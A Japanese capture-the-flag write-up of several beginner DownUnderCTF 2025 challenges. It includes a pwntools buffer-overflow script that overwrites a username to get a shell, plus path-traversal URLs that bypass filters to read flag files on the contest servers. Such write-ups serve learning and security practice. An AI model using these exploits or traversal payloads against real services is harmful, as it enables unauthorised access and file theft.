DownUnderCTF 2025 Writeup
DownUnderCTF にソロで参加したので振り返り用の Writeup (Begginer 問題いくつか).
用事があって解く時間があまりなかったのが残念.
フラグ形式
- フラグ形式は以下の通
DUCTF{}
discord
- discord の sponsors ページに書かれていた
zeus
- Ghidra を用いてデコンパイルしたところ簡単な条件分岐があり, その条件をクリアすればフラグが表示されそうであることが分かった.
- 条件分岐の式は以下となる
if (((param_1 == 3) && (iVar1 = strcmp(*(char **)(param_2 + 8),"-invocation"), iVar1 == 0)) && (iVar1 = strcmp(*(char **)(param_2 + 0x10),local_10), iVar1 == 0))
param_1
が c 言語の引数の数argc
,param_2
が c 言語の引数ポインタargv
に対応するため,-invocation
オプションをつけ適切な文言 (local_10
) を引数として渡せばよさそうlocal_10
を復元し最終的に以下の引数でプログラムを実行すればフラグが獲得できた
./zeus -invocation "To Zeus Maimaktes, Zeus who comes when the north wind blows, we offer our praise, we make you welcome!"
philtered
- 配布されたソースコードを読むと,
index.php
において GET リクエストで取得したパラメータについてフィルタ処理を行ったうえで使用している部分が存在した - フラグは flag.php に格納されている
- 具体的には読み込んだパラメータについて, インスタンスに同名のメンバー変数が存在する場合に
php, flag
といった文字列を含まなければ変数の書き換えを行う, という処理を行っていた - フィルタ処理の部分についてみると
allow_unsafe
というフィルタ処理に関する条件分岐フラグを見つけたので, これを書き換えたうえで flag.php を読み込むようなクエリを送信
https://web-philtered-0a2005e5b9bf.2025-us.ductf.net/?allow_unsafe=true&config[path]=../flag.php
- 上記リクエストを行うとページにフラグがついたまま送られてきた (コメントとして格納されるためページのソースコードから確認する必要あり)
corporate-clinche
- 配布されたソースファイルを読むと, admin ユーザーとしてログインできればシェルが起動される仕組みらしい
- ユーザー名を admin と入力すると strcmp で確認された上で拒否される (
fgets
を適切に用いているためオーバーフローも不可) - パスワードの入力に対しては
gets
が用いられており, pwn checksec を用いて canary がないことも確認できたため, パスワード入力時に BOF でユーザー名を admin に書き換えればよいことが分かる - パスワードはあらかじめハードコーディングされていたため, パスワード + ヌル文字 (strcmp の終端をさせる) + パディング + admin (ユーザー名) という文字列を送ることでシェルを起動できた
from pwn import * host = "chal.2025-us.ductf.net" port = 30000 #sh = process("./email_server") sh = remote(host, port) sh.recvuntil("e:") sh.sendline("dummy".encode()) # dummy user sh.recvuntil("d:") payload = "🇦🇩🇲🇮🇳".encode() payload += b"\x00" payload += "a".encode() * (0x20 - len("🇦🇩🇲🇮🇳".encode()) - 1) payload += "admin".encode() sh.sendline(payload) sh.interactive()
- パスワードが ASCII 文字ではないことに注意が必要
secure email attachments
- ディレクトリトラバーサルが対策されているウェブアプリケーションで,
/etc/flag.txt
を読み込む問題 - ソースコードを読むと
"/attachments"
を削除する処理がされているため, ドットを挟む典型的な方法でディレクトリトラバーサルが可能 - 以下の URL でフラグが表示された
http://chal.2025-us.ductf.net:30014/attachments%2e%2fattachments%2e%2f%2e%2fattachments%2e%2fetc%2fflag%2etxt